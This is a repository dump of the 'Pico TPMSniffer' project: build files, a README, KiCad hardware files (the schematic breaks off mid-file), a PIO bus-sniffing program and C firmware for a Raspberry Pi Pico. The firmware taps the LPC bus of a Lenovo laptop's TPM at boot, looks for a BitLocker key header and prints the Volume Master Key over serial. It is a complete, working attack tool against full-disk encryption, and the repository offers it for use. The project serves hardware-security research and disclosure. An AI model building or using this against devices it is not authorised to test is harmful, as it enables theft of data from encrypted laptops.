├── CMakeLists.txt ├── Readme.md ├── LICENSE ├── hardware ├── tpmsniffer.kicad_prl ├── tpmsniffer.kicad_pro └── tpmsniffer.kicad_sch ├── lpc_sniffer.pio ├── pico_sdk_import.cmake └── main.c /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.13) 2 | # initialize the SDK based on PICO_SDK_PATH 3 | # note: this must happen before project() 4 | include(pico_sdk_import.cmake) 5 | 6 | project(tpm_sniffer) 7 | 8 | pico_sdk_init() 9 | 10 | add_executable(tpm_sniffer) 11 | 12 | pico_generate_pio_header(tpm_sniffer ${CMAKE_CURRENT_LIST_DIR}/lpc_sniffer.pio) 13 | 14 | target_sources(tpm_sniffer PRIVATE main.c) 15 | 16 | target_link_libraries(tpm_sniffer PRIVATE 17 | pico_stdlib 18 | hardware_pio 19 | hardware_flash 20 | pico_multicore 21 | ) 22 | pico_enable_stdio_usb(tpm_sniffer 1) 23 | pico_add_extra_outputs(tpm_sniffer) -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | # Pico TPMSniffer 2 | 3 | > This is experimental software and hardware. It's not ready to use for professional or production use. 4 | 5 | The board (in /hardware/) is compatible with the "Debug Card" connector found on some Lenovo laptops. The firmware currently only supports LPC, not SPI TPMs. 6 | 7 | ## Building 8 | 9 | ``` 10 | export PICO_SDK_PATH=path to your Pico-SDK 11 | mkdir build 12 | cd build 13 | cmake .. 14 | make 15 | ``` 16 | 17 | ## Hardware 18 | 19 | The board files are in `hardware/`, the Pogo pins used are of the type: P50-B1-16mm 20 | 21 | ## Usage 22 | 23 | Just connect to the serial port, boot your machine, and push against the card connector! 24 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Pico TPMSniffer - A Raspberry-Pi Pico based tool for sniffing LPC TPMs. 2 | 3 | Copyright (C) 2024 Thomas 'stacksmashing' Roth - code@stacksmashing.net 4 | 5 | This program is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License as published by 7 | the Free Software Foundation, version 3 of the License. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU General Public License for more details. 13 | 14 | You should have received a copy of the GNU General Public License 15 | along with this program. If not, see . 16 | -------------------------------------------------------------------------------- /hardware/tpmsniffer.kicad_prl: -------------------------------------------------------------------------------- 1 | { 2 | "board": { 3 | "active_layer": 37, 4 | "active_layer_preset": "All Layers", 5 | "auto_track_width": true, 6 | "hidden_netclasses": [], 7 | "hidden_nets": [], 8 | "high_contrast_mode": 0, 9 | "net_color_mode": 1, 10 | "opacity": { 11 | "images": 0.6, 12 | "pads": 1.0, 13 | "tracks": 1.0, 14 | "vias": 1.0, 15 | "zones": 0.6 16 | }, 17 | "selection_filter": { 18 | "dimensions": true, 19 | "footprints": true, 20 | "graphics": true, 21 | "keepouts": true, 22 | "lockedItems": false, 23 | "otherItems": true, 24 | "pads": true, 25 | "text": true, 26 | "tracks": true, 27 | "vias": true, 28 | "zones": true 29 | }, 30 | "visible_items": [ 31 | 0, 32 | 1, 33 | 2, 34 | 3, 35 | 4, 36 | 5, 37 | 8, 38 | 9, 39 | 10, 40 | 11, 41 | 12, 42 | 13, 43 | 15, 44 | 16, 45 | 17, 46 | 18, 47 | 19, 48 | 20, 49 | 21, 50 | 22, 51 | 23, 52 | 24, 53 | 25, 54 | 26, 55 | 27, 56 | 28, 57 | 29, 58 | 30, 59 | 32, 60 | 33, 61 | 34, 62 | 35, 63 | 36, 64 | 39, 65 | 40 66 | ], 67 | "visible_layers": "fffffff_ffffffff", 68 | "zone_display_mode": 0 69 | }, 70 | "meta": { 71 | "filename": "tpmsniffer.kicad_prl", 72 | "version": 3 73 | }, 74 | "project": { 75 | "files": [] 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /lpc_sniffer.pio: -------------------------------------------------------------------------------- 1 | ; All rights reserved. Copyright by Thomas Roth. code@stacksmashing.net 2 | 3 | .program lpc_sniffer 4 | .side_set 1 opt 5 | 6 | entry: 7 | ; Wait for LFRAME (ABSOLUTE pin 0) to go low 8 | SET X, 15 side 0 9 | WAIT 1 GPIO 5 10 | WAIT 0 GPIO 5; ~0ns 11 | NOP 12 | NOP 13 | NOP 14 | NOP 15 | read_target: 16 | IN PINS 4 side 1; starts at ~20ns | read 0/40ns 17 | NOP side 1; first: 10ns | 30ns second round 18 | NOP side 0 [3]; read 10ns 19 | JMP X-- read_target [1] side 0 ; read 20ns 20 | PUSH 21 | 22 | JMP entry 23 | 24 | % c-sdk { 25 | static inline void lpc_sniffer_program_init(PIO pio, uint sm, uint offset, uint base_pin, uint debug_pin) { 26 | pio_sm_config c = lpc_sniffer_program_get_default_config(offset); 27 | 28 | // We have no out pins 29 | // sm_config_set_out_pins(&c, base_pin, 1); 30 | 31 | //pio_gpio_init(pio, 0); 32 | for(int i=0; i < 4; i++) { 33 | pio_gpio_init(pio, base_pin + i); 34 | } 35 | //hw_set_bits(&pio->input_sync_bypass, 1); 36 | 37 | // frame pin 38 | pio_gpio_init(pio, 0); 39 | pio_gpio_init(pio, 5); 40 | 41 | pio_gpio_init(pio, debug_pin); 42 | 43 | // Set all 4 pins to input (false = input) 44 | pio_sm_set_consecutive_pindirs(pio, sm, 0, 1, false); 45 | pio_sm_set_consecutive_pindirs(pio, sm, base_pin, 4, false); 46 | sm_config_set_in_pins(&c, base_pin); 47 | 48 | sm_config_set_sideset_pins(&c, debug_pin); 49 | pio_sm_set_consecutive_pindirs(pio, sm, debug_pin, 1, true); 50 | 51 | sm_config_set_in_shift (&c, false, true, 32); 52 | 53 | 54 | // Chain FIFOs together as we will *only* receive. 55 | // This will ensure we will not block. 56 | sm_config_set_fifo_join(&c, PIO_FIFO_JOIN_RX); 57 | 58 | float div = (float)clock_get_hz(clk_sys) / 200000000.0; 59 | sm_config_set_clkdiv(&c, div); 60 | 61 | // Load our configuration, and jump to the start of the program 62 | pio_sm_init(pio, sm, offset, &c); 63 | // Set the state machine running 64 | pio_sm_set_enabled(pio, sm, true); 65 | } 66 | %} -------------------------------------------------------------------------------- /pico_sdk_import.cmake: -------------------------------------------------------------------------------- 1 | # This is a copy of /external/pico_sdk_import.cmake 2 | 3 | # This can be dropped into an external project to help locate this SDK 4 | # It should be include()ed prior to project() 5 | 6 | if (DEFINED ENV{PICO_SDK_PATH} AND (NOT PICO_SDK_PATH)) 7 | set(PICO_SDK_PATH $ENV{PICO_SDK_PATH}) 8 | message("Using PICO_SDK_PATH from environment ('${PICO_SDK_PATH}')") 9 | endif () 10 | 11 | if (DEFINED ENV{PICO_SDK_FETCH_FROM_GIT} AND (NOT PICO_SDK_FETCH_FROM_GIT)) 12 | set(PICO_SDK_FETCH_FROM_GIT $ENV{PICO_SDK_FETCH_FROM_GIT}) 13 | message("Using PICO_SDK_FETCH_FROM_GIT from environment ('${PICO_SDK_FETCH_FROM_GIT}')") 14 | endif () 15 | 16 | if (DEFINED ENV{PICO_SDK_FETCH_FROM_GIT_PATH} AND (NOT PICO_SDK_FETCH_FROM_GIT_PATH)) 17 | set(PICO_SDK_FETCH_FROM_GIT_PATH $ENV{PICO_SDK_FETCH_FROM_GIT_PATH}) 18 | message("Using PICO_SDK_FETCH_FROM_GIT_PATH from environment ('${PICO_SDK_FETCH_FROM_GIT_PATH}')") 19 | endif () 20 | 21 | set(PICO_SDK_PATH "${PICO_SDK_PATH}" CACHE PATH "Path to the Raspberry Pi Pico SDK") 22 | set(PICO_SDK_FETCH_FROM_GIT "${PICO_SDK_FETCH_FROM_GIT}" CACHE BOOL "Set to ON to fetch copy of SDK from git if not otherwise locatable") 23 | set(PICO_SDK_FETCH_FROM_GIT_PATH "${PICO_SDK_FETCH_FROM_GIT_PATH}" CACHE FILEPATH "location to download SDK") 24 | 25 | if (NOT PICO_SDK_PATH) 26 | if (PICO_SDK_FETCH_FROM_GIT) 27 | include(FetchContent) 28 | set(FETCHCONTENT_BASE_DIR_SAVE ${FETCHCONTENT_BASE_DIR}) 29 | if (PICO_SDK_FETCH_FROM_GIT_PATH) 30 | get_filename_component(FETCHCONTENT_BASE_DIR "${PICO_SDK_FETCH_FROM_GIT_PATH}" REALPATH BASE_DIR "${CMAKE_SOURCE_DIR}") 31 | endif () 32 | # GIT_SUBMODULES_RECURSE was added in 3.17 33 | if (${CMAKE_VERSION} VERSION_GREATER_EQUAL "3.17.0") 34 | FetchContent_Declare( 35 | pico_sdk 36 | GIT_REPOSITORY https://github.com/raspberrypi/pico-sdk 37 | GIT_TAG master 38 | GIT_SUBMODULES_RECURSE FALSE 39 | ) 40 | else () 41 | FetchContent_Declare( 42 | pico_sdk 43 | GIT_REPOSITORY https://github.com/raspberrypi/pico-sdk 44 | GIT_TAG master 45 | ) 46 | endif () 47 | 48 | if (NOT pico_sdk) 49 | message("Downloading Raspberry Pi Pico SDK") 50 | FetchContent_Populate(pico_sdk) 51 | set(PICO_SDK_PATH ${pico_sdk_SOURCE_DIR}) 52 | endif () 53 | set(FETCHCONTENT_BASE_DIR ${FETCHCONTENT_BASE_DIR_SAVE}) 54 | else () 55 | message(FATAL_ERROR 56 | "SDK location was not specified. Please set PICO_SDK_PATH or set PICO_SDK_FETCH_FROM_GIT to on to fetch from git." 57 | ) 58 | endif () 59 | endif () 60 | 61 | get_filename_component(PICO_SDK_PATH "${PICO_SDK_PATH}" REALPATH BASE_DIR "${CMAKE_BINARY_DIR}") 62 | if (NOT EXISTS ${PICO_SDK_PATH}) 63 | message(FATAL_ERROR "Directory '${PICO_SDK_PATH}' not found") 64 | endif () 65 | 66 | set(PICO_SDK_INIT_CMAKE_FILE ${PICO_SDK_PATH}/pico_sdk_init.cmake) 67 | if (NOT EXISTS ${PICO_SDK_INIT_CMAKE_FILE}) 68 | message(FATAL_ERROR "Directory '${PICO_SDK_PATH}' does not appear to contain the Raspberry Pi Pico SDK") 69 | endif () 70 | 71 | set(PICO_SDK_PATH ${PICO_SDK_PATH} CACHE PATH "Path to the Raspberry Pi Pico SDK" FORCE) 72 | 73 | include(${PICO_SDK_INIT_CMAKE_FILE}) -------------------------------------------------------------------------------- /main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "pico/stdlib.h" 7 | #include "hardware/pio.h" 8 | #include "hardware/clocks.h" 9 | #include "pico/multicore.h" 10 | 11 | // Our assembled program: 12 | #include "lpc_sniffer.pio.h" 13 | 14 | 15 | #include "hardware/flash.h" 16 | 17 | unsigned char reverse(unsigned char b) { 18 | b = (b & 0xF0) >> 4 | (b & 0x0F) << 4; 19 | b = (b & 0xCC) >> 2 | (b & 0x33) << 2; 20 | b = (b & 0xAA) >> 1 | (b & 0x55) << 1; 21 | return b; 22 | } 23 | 24 | static inline char reverse_nibbles(char c) { 25 | return ((c<<4) & 0xF0) | ((c >> 4) & 0xFF); 26 | } 27 | 28 | static inline uint32_t fix_bit_format(uint32_t input) { 29 | char a1 = (input >> 24) & 0xFF; 30 | char a2 = (input >> 16) & 0xFF; 31 | char a3 = (input >> 8) & 0xFF; 32 | char a4 = input & 0xFF; 33 | return (a1 << 24) | (a2 << 16) | (a3 << 8) | a4; 34 | } 35 | 36 | enum state { 37 | STATE_IDLE, 38 | STATE_READING 39 | }; 40 | 41 | static inline uint32_t fetch(PIO pio, uint sm) { 42 | uint32_t result_raw = pio_sm_get_blocking(pio, sm); 43 | uint32_t result = fix_bit_format(result_raw); 44 | return result; 45 | } 46 | 47 | static inline uint32_t fetch_message(PIO pio, uint sm) { 48 | while (1) { 49 | uint32_t result = fetch(pio, sm); 50 | // Only act on 0b0101 header (TPM comms) 51 | if((result & 0xF0000000) != 0x50000000) { 52 | continue; 53 | } 54 | 55 | // Detect if read or write 56 | bool is_write = false; 57 | if((result & 0x02000000) == 0x02000000) { 58 | is_write = true; 59 | } else if((result & 0x0F000000) != 0) { 60 | continue; 61 | } 62 | 63 | // Extract address 64 | uint16_t address = (result >> 8) & 0xFFFF; 65 | 66 | // Writes are easy 67 | if(is_write) { 68 | // Data is encoded LSB first, so we reverse these bits 69 | uint8_t data = reverse_nibbles(result & 0xFF); 70 | // printf("Write 0x%04X Data 0x%02X\n", address, data & 0xFF); 71 | // ignore the next data part 72 | fetch(pio, sm); 73 | return 0x02000000 | address << 8 | data; 74 | } else { 75 | // Reads are more involved 76 | // First we skip the tar (1 byte/2 cycles), so we just start at the next result byte 77 | // next we iterate over the sync til it's 0. 78 | uint32_t result2 = fetch(pio, sm); 79 | 80 | 81 | // Start by iterating over the sync bit. We wait til this is 0 82 | unsigned int i; 83 | // printf("Result: %08X\n", result2); 84 | for(i = 7; i > 1; i--) { 85 | // printf("%08X %d\n", (result2 >> (i*4)) & 0xF, i); 86 | if(((result2 >> (i*4)) & 0xF) == 0x0) { 87 | // Sync done 88 | break; 89 | } 90 | } 91 | 92 | // i is 1 here, even when result 2 is 0xF0001FFF 93 | uint8_t data = reverse_nibbles((result2 >> ((i-2)*4)) & 0xFF ); 94 | return address << 8 | data; 95 | } 96 | } 97 | } 98 | 99 | static const char vmk_header[] = { 100 | 0x2c, 0x00, 0x00, 0x0, 0x01, 0x00, 0x00, 0x00, 0x03, 0x20, 0x00, 0x00 101 | }; 102 | 103 | #define MAXCOUNT 512 104 | uint32_t buf[MAXCOUNT]; 105 | 106 | 107 | char message_buffer[4096*2]; 108 | volatile size_t msg_buffer_ptr = 0; 109 | 110 | void core1_entry() { 111 | // 12 byte header + 32 byte data 112 | char msg_buffer[12 + 32]; 113 | memset(msg_buffer, 0, 44); 114 | 115 | PIO pio = pio0; 116 | uint offset = pio_add_program(pio, &lpc_sniffer_program); 117 | uint sm = pio_claim_unused_sm(pio, true); 118 | lpc_sniffer_program_init(pio, sm, offset, 1, 10); 119 | size_t bufpos = 0; 120 | 121 | while(1) { 122 | uint32_t message = fetch_message(pio, sm); 123 | // It's a read of the right address 124 | if((message & 0x0f00ff00) == 0x00002400) { 125 | char message_char = message & 0xff; 126 | message_buffer[msg_buffer_ptr++] = message_char; 127 | 128 | if(message_char == 0x2c) { 129 | multicore_fifo_push_blocking(msg_buffer_ptr); 130 | } 131 | } 132 | } 133 | } 134 | 135 | 136 | int main() { 137 | set_sys_clock_khz(270000, true); // 158us 138 | stdio_init_all(); 139 | sleep_ms(5000); 140 | 141 | puts(" _ "); 142 | puts("|_) o _ _ "); 143 | puts("| | (_ (_) "); 144 | puts(""); 145 | puts("88P'888'Y88 888 88e e e dP\"8 ,e, dP,e, dP,e, "); 146 | puts("P' 888 'Y 888 888D d8b d8b C8b Y 888 8e \" 8b \" 8b \" ,e e, 888,8, "); 147 | puts(" 888 888 88\" e Y8b Y8b Y8b 888 88b 888 888888 888888 d88 88b 888 \" "); 148 | puts(" 888 888 d8b Y8b Y8b b Y8D 888 888 888 888 888 888 , 888 "); 149 | puts(" 888 888 d888b Y8b Y8b 8edP 888 888 888 888 888 \"YeeP\" 888 "); 150 | puts(" - by stacksmashing"); 151 | puts(""); 152 | 153 | printf("[+] Ready to sniff!\n"); 154 | 155 | multicore_launch_core1(core1_entry); 156 | 157 | while(1) { 158 | uint32_t popped = multicore_fifo_pop_blocking(); 159 | 160 | // Wait til the msg_buffer_ptr is full 161 | while((msg_buffer_ptr - popped) < 44) { 162 | } 163 | 164 | if(memcmp(message_buffer + popped, vmk_header, 5) == 0) { 165 | printf("[+] Bitlocker Volume Master Key found:\n"); 166 | 167 | for(int i=0; i < 2; i++) { 168 | printf("[+] "); 169 | for(int j=0; j < 2; j++) { 170 | for(int k=0; k < 8; k++) { 171 | printf("%02x ", message_buffer[popped + 12 + (i * 16) + (j * 8) + k]); 172 | } 173 | printf(" "); 174 | } 175 | puts(""); 176 | } 177 | } 178 | } 179 | } 180 | -------------------------------------------------------------------------------- /hardware/tpmsniffer.kicad_pro: -------------------------------------------------------------------------------- 1 | { 2 | "board": { 3 | "3dviewports": [], 4 | "design_settings": { 5 | "defaults": { 6 | "board_outline_line_width": 0.09999999999999999, 7 | "copper_line_width": 0.19999999999999998, 8 | "copper_text_italic": false, 9 | "copper_text_size_h": 1.5, 10 | "copper_text_size_v": 1.5, 11 | "copper_text_thickness": 0.3, 12 | "copper_text_upright": false, 13 | "courtyard_line_width": 0.049999999999999996, 14 | "dimension_precision": 4, 15 | "dimension_units": 3, 16 | "dimensions": { 17 | "arrow_length": 1270000, 18 | "extension_offset": 500000, 19 | "keep_text_aligned": true, 20 | "suppress_zeroes": false, 21 | "text_position": 0, 22 | "units_format": 1 23 | }, 24 | "fab_line_width": 0.09999999999999999, 25 | "fab_text_italic": false, 26 | "fab_text_size_h": 1.0, 27 | "fab_text_size_v": 1.0, 28 | "fab_text_thickness": 0.15, 29 | "fab_text_upright": false, 30 | "other_line_width": 0.15, 31 | "other_text_italic": false, 32 | "other_text_size_h": 1.0, 33 | "other_text_size_v": 1.0, 34 | "other_text_thickness": 0.15, 35 | "other_text_upright": false, 36 | "pads": { 37 | "drill": 0.762, 38 | "height": 1.524, 39 | "width": 1.524 40 | }, 41 | "silk_line_width": 0.15, 42 | "silk_text_italic": false, 43 | "silk_text_size_h": 1.0, 44 | "silk_text_size_v": 1.0, 45 | "silk_text_thickness": 0.15, 46 | "silk_text_upright": false, 47 | "zones": { 48 | "min_clearance": 0.5 49 | } 50 | }, 51 | "diff_pair_dimensions": [], 52 | "drc_exclusions": [], 53 | "meta": { 54 | "version": 2 55 | }, 56 | "rule_severities": { 57 | "annular_width": "error", 58 | "clearance": "error", 59 | "connection_width": "warning", 60 | "copper_edge_clearance": "error", 61 | "copper_sliver": "warning", 62 | "courtyards_overlap": "error", 63 | "diff_pair_gap_out_of_range": "error", 64 | "diff_pair_uncoupled_length_too_long": "error", 65 | "drill_out_of_range": "error", 66 | "duplicate_footprints": "warning", 67 | "extra_footprint": "warning", 68 | "footprint": "error", 69 | "footprint_type_mismatch": "ignore", 70 | "hole_clearance": "error", 71 | "hole_near_hole": "error", 72 | "invalid_outline": "error", 73 | "isolated_copper": "warning", 74 | "item_on_disabled_layer": "error", 75 | "items_not_allowed": "error", 76 | "length_out_of_range": "error", 77 | "lib_footprint_issues": "warning", 78 | "lib_footprint_mismatch": "warning", 79 | "malformed_courtyard": "error", 80 | "microvia_drill_out_of_range": "error", 81 | "missing_courtyard": "ignore", 82 | "missing_footprint": "warning", 83 | "net_conflict": "warning", 84 | "npth_inside_courtyard": "ignore", 85 | "padstack": "warning", 86 | "pth_inside_courtyard": "ignore", 87 | "shorting_items": "error", 88 | "silk_edge_clearance": "warning", 89 | "silk_over_copper": "warning", 90 | "silk_overlap": "warning", 91 | "skew_out_of_range": "error", 92 | "solder_mask_bridge": "error", 93 | "starved_thermal": "error", 94 | "text_height": "warning", 95 | "text_thickness": "warning", 96 | "through_hole_pad_without_hole": "error", 97 | "too_many_vias": "error", 98 | "track_dangling": "warning", 99 | "track_width": "error", 100 | "tracks_crossing": "error", 101 | "unconnected_items": "error", 102 | "unresolved_variable": "error", 103 | "via_dangling": "warning", 104 | "zones_intersect": "error" 105 | }, 106 | "rules": { 107 | "max_error": 0.005, 108 | "min_clearance": 0.0, 109 | "min_connection": 0.0, 110 | "min_copper_edge_clearance": 0.0, 111 | "min_hole_clearance": 0.25, 112 | "min_hole_to_hole": 0.25, 113 | "min_microvia_diameter": 0.19999999999999998, 114 | "min_microvia_drill": 0.09999999999999999, 115 | "min_resolved_spokes": 2, 116 | "min_silk_clearance": 0.0, 117 | "min_text_height": 0.7999999999999999, 118 | "min_text_thickness": 0.08, 119 | "min_through_hole_diameter": 0.3, 120 | "min_track_width": 0.0, 121 | "min_via_annular_width": 0.09999999999999999, 122 | "min_via_diameter": 0.5, 123 | "solder_mask_clearance": 0.0, 124 | "solder_mask_min_width": 0.0, 125 | "solder_mask_to_copper_clearance": 0.0, 126 | "use_height_for_length_calcs": true 127 | }, 128 | "teardrop_options": [ 129 | { 130 | "td_allow_use_two_tracks": true, 131 | "td_curve_segcount": 5, 132 | "td_on_pad_in_zone": false, 133 | "td_onpadsmd": true, 134 | "td_onroundshapesonly": false, 135 | "td_ontrackend": false, 136 | "td_onviapad": true 137 | } 138 | ], 139 | "teardrop_parameters": [ 140 | { 141 | "td_curve_segcount": 0, 142 | "td_height_ratio": 1.0, 143 | "td_length_ratio": 0.5, 144 | "td_maxheight": 2.0, 145 | "td_maxlen": 1.0, 146 | "td_target_name": "td_round_shape", 147 | "td_width_to_size_filter_ratio": 0.9 148 | }, 149 | { 150 | "td_curve_segcount": 0, 151 | "td_height_ratio": 1.0, 152 | "td_length_ratio": 0.5, 153 | "td_maxheight": 2.0, 154 | "td_maxlen": 1.0, 155 | "td_target_name": "td_rect_shape", 156 | "td_width_to_size_filter_ratio": 0.9 157 | }, 158 | { 159 | "td_curve_segcount": 0, 160 | "td_height_ratio": 1.0, 161 | "td_length_ratio": 0.5, 162 | "td_maxheight": 2.0, 163 | "td_maxlen": 1.0, 164 | "td_target_name": "td_track_end", 165 | "td_width_to_size_filter_ratio": 0.9 166 | } 167 | ], 168 | "track_widths": [], 169 | "via_dimensions": [], 170 | "zones_allow_external_fillets": false 171 | }, 172 | "layer_presets": [], 173 | "viewports": [] 174 | }, 175 | "boards": [], 176 | "cvpcb": { 177 | "equivalence_files": [] 178 | }, 179 | "erc": { 180 | "erc_exclusions": [], 181 | "meta": { 182 | "version": 0 183 | }, 184 | "pin_map": [ 185 | [ 186 | 0, 187 | 0, 188 | 0, 189 | 0, 190 | 0, 191 | 0, 192 | 1, 193 | 0, 194 | 0, 195 | 0, 196 | 0, 197 | 2 198 | ], 199 | [ 200 | 0, 201 | 2, 202 | 0, 203 | 1, 204 | 0, 205 | 0, 206 | 1, 207 | 0, 208 | 2, 209 | 2, 210 | 2, 211 | 2 212 | ], 213 | [ 214 | 0, 215 | 0, 216 | 0, 217 | 0, 218 | 0, 219 | 0, 220 | 1, 221 | 0, 222 | 1, 223 | 0, 224 | 1, 225 | 2 226 | ], 227 | [ 228 | 0, 229 | 1, 230 | 0, 231 | 0, 232 | 0, 233 | 0, 234 | 1, 235 | 1, 236 | 2, 237 | 1, 238 | 1, 239 | 2 240 | ], 241 | [ 242 | 0, 243 | 0, 244 | 0, 245 | 0, 246 | 0, 247 | 0, 248 | 1, 249 | 0, 250 | 0, 251 | 0, 252 | 0, 253 | 2 254 | ], 255 | [ 256 | 0, 257 | 0, 258 | 0, 259 | 0, 260 | 0, 261 | 0, 262 | 0, 263 | 0, 264 | 0, 265 | 0, 266 | 0, 267 | 2 268 | ], 269 | [ 270 | 1, 271 | 1, 272 | 1, 273 | 1, 274 | 1, 275 | 0, 276 | 1, 277 | 1, 278 | 1, 279 | 1, 280 | 1, 281 | 2 282 | ], 283 | [ 284 | 0, 285 | 0, 286 | 0, 287 | 1, 288 | 0, 289 | 0, 290 | 1, 291 | 0, 292 | 0, 293 | 0, 294 | 0, 295 | 2 296 | ], 297 | [ 298 | 0, 299 | 2, 300 | 1, 301 | 2, 302 | 0, 303 | 0, 304 | 1, 305 | 0, 306 | 2, 307 | 2, 308 | 2, 309 | 2 310 | ], 311 | [ 312 | 0, 313 | 2, 314 | 0, 315 | 1, 316 | 0, 317 | 0, 318 | 1, 319 | 0, 320 | 2, 321 | 0, 322 | 0, 323 | 2 324 | ], 325 | [ 326 | 0, 327 | 2, 328 | 1, 329 | 1, 330 | 0, 331 | 0, 332 | 1, 333 | 0, 334 | 2, 335 | 0, 336 | 0, 337 | 2 338 | ], 339 | [ 340 | 2, 341 | 2, 342 | 2, 343 | 2, 344 | 2, 345 | 2, 346 | 2, 347 | 2, 348 | 2, 349 | 2, 350 | 2, 351 | 2 352 | ] 353 | ], 354 | "rule_severities": { 355 | "bus_definition_conflict": "error", 356 | "bus_entry_needed": "error", 357 | "bus_to_bus_conflict": "error", 358 | "bus_to_net_conflict": "error", 359 | "conflicting_netclasses": "error", 360 | "different_unit_footprint": "error", 361 | "different_unit_net": "error", 362 | "duplicate_reference": "error", 363 | "duplicate_sheet_names": "error", 364 | "endpoint_off_grid": "warning", 365 | "extra_units": "error", 366 | "global_label_dangling": "warning", 367 | "hier_label_mismatch": "error", 368 | "label_dangling": "error", 369 | "lib_symbol_issues": "warning", 370 | "missing_bidi_pin": "warning", 371 | "missing_input_pin": "warning", 372 | "missing_power_pin": "error", 373 | "missing_unit": "warning", 374 | "multiple_net_names": "warning", 375 | "net_not_bus_member": "warning", 376 | "no_connect_connected": "warning", 377 | "no_connect_dangling": "warning", 378 | "pin_not_connected": "error", 379 | "pin_not_driven": "error", 380 | "pin_to_pin": "error", 381 | "power_pin_not_driven": "error", 382 | "similar_labels": "warning", 383 | "simulation_model_issue": "error", 384 | "unannotated": "error", 385 | "unit_value_mismatch": "error", 386 | "unresolved_variable": "error", 387 | "wire_dangling": "error" 388 | } 389 | }, 390 | "libraries": { 391 | "pinned_footprint_libs": [], 392 | "pinned_symbol_libs": [] 393 | }, 394 | "meta": { 395 | "filename": "tpmsniffer.kicad_pro", 396 | "version": 1 397 | }, 398 | "net_settings": { 399 | "classes": [ 400 | { 401 | "bus_width": 12, 402 | "clearance": 0.2, 403 | "diff_pair_gap": 0.25, 404 | "diff_pair_via_gap": 0.25, 405 | "diff_pair_width": 0.2, 406 | "line_style": 0, 407 | "microvia_diameter": 0.3, 408 | "microvia_drill": 0.1, 409 | "name": "Default", 410 | "pcb_color": "rgba(0, 0, 0, 0.000)", 411 | "schematic_color": "rgba(0, 0, 0, 0.000)", 412 | "track_width": 0.25, 413 | "via_diameter": 0.8, 414 | "via_drill": 0.4, 415 | "wire_width": 6 416 | } 417 | ], 418 | "meta": { 419 | "version": 3 420 | }, 421 | "net_colors": null, 422 | "netclass_assignments": null, 423 | "netclass_patterns": [] 424 | }, 425 | "pcbnew": { 426 | "last_paths": { 427 | "gencad": "", 428 | "idf": "", 429 | "netlist": "", 430 | "specctra_dsn": "", 431 | "step": "", 432 | "vrml": "" 433 | }, 434 | "page_layout_descr_file": "" 435 | }, 436 | "schematic": { 437 | "annotate_start_num": 0, 438 | "drawing": { 439 | "dashed_lines_dash_length_ratio": 12.0, 440 | "dashed_lines_gap_length_ratio": 3.0, 441 | "default_line_thickness": 6.0, 442 | "default_text_size": 50.0, 443 | "field_names": [], 444 | "intersheets_ref_own_page": false, 445 | "intersheets_ref_prefix": "", 446 | "intersheets_ref_short": false, 447 | "intersheets_ref_show": false, 448 | "intersheets_ref_suffix": "", 449 | "junction_size_choice": 3, 450 | "label_size_ratio": 0.375, 451 | "pin_symbol_size": 25.0, 452 | "text_offset_ratio": 0.15 453 | }, 454 | "legacy_lib_dir": "", 455 | "legacy_lib_list": [], 456 | "meta": { 457 | "version": 1 458 | }, 459 | "net_format_name": "", 460 | "page_layout_descr_file": "", 461 | "plot_directory": "", 462 | "spice_current_sheet_as_root": false, 463 | "spice_external_command": "spice \"%I\"", 464 | "spice_model_current_sheet_as_root": true, 465 | "spice_save_all_currents": false, 466 | "spice_save_all_voltages": false, 467 | "subpart_first_id": 65, 468 | "subpart_id_separator": 0 469 | }, 470 | "sheets": [ 471 | [ 472 | "692c4062-35b7-4554-aa43-8ed8c0452638", 473 | "" 474 | ] 475 | ], 476 | "text_variables": {} 477 | } 478 | -------------------------------------------------------------------------------- /hardware/tpmsniffer.kicad_sch: -------------------------------------------------------------------------------- 1 | (kicad_sch (version 20230121) (generator eeschema) 2 | 3 | (uuid 692c4062-35b7-4554-aa43-8ed8c0452638) 4 | 5 | (paper "A4") 6 | 7 | (title_block 8 | (title "Pico TPMSniffer") 9 | (company "By Thomas Roth aka stacksmashing") 10 | ) 11 | 12 | (lib_symbols 13 | (symbol "Connector:Conn_01x06_Pin" (pin_names (offset 1.016) hide) (in_bom yes) (on_board yes) 14 | (property "Reference" "J" (at 0 7.62 0) 15 | (effects (font (size 1.27 1.27))) 16 | ) 17 | (property "Value" "Conn_01x06_Pin" (at 0 -10.16 0) 18 | (effects (font (size 1.27 1.27))) 19 | ) 20 | (property "Footprint" "" (at 0 0 0) 21 | (effects (font (size 1.27 1.27)) hide) 22 | ) 23 | (property "Datasheet" "~" (at 0 0 0) 24 | (effects (font (size 1.27 1.27)) hide) 25 | ) 26 | (property "ki_locked" "" (at 0 0 0) 27 | (effects (font (size 1.27 1.27))) 28 | ) 29 | (property "ki_keywords" "connector" (at 0 0 0) 30 | (effects (font (size 1.27 1.27)) hide) 31 | ) 32 | (property "ki_description" "Generic connector, single row, 01x06, script generated" (at 0 0 0) 33 | (effects (font (size 1.27 1.27)) hide) 34 | ) 35 | (property "ki_fp_filters" "Connector*:*_1x??_*" (at 0 0 0) 36 | (effects (font (size 1.27 1.27)) hide) 37 | ) 38 | (symbol "Conn_01x06_Pin_1_1" 39 | (polyline 40 | (pts 41 | (xy 1.27 -7.62) 42 | (xy 0.8636 -7.62) 43 | ) 44 | (stroke (width 0.1524) (type default)) 45 | (fill (type none)) 46 | ) 47 | (polyline 48 | (pts 49 | (xy 1.27 -5.08) 50 | (xy 0.8636 -5.08) 51 | ) 52 | (stroke (width 0.1524) (type default)) 53 | (fill (type none)) 54 | ) 55 | (polyline 56 | (pts 57 | (xy 1.27 -2.54) 58 | (xy 0.8636 -2.54) 59 | ) 60 | (stroke (width 0.1524) (type default)) 61 | (fill (type none)) 62 | ) 63 | (polyline 64 | (pts 65 | (xy 1.27 0) 66 | (xy 0.8636 0) 67 | ) 68 | (stroke (width 0.1524) (type default)) 69 | (fill (type none)) 70 | ) 71 | (polyline 72 | (pts 73 | (xy 1.27 2.54) 74 | (xy 0.8636 2.54) 75 | ) 76 | (stroke (width 0.1524) (type default)) 77 | (fill (type none)) 78 | 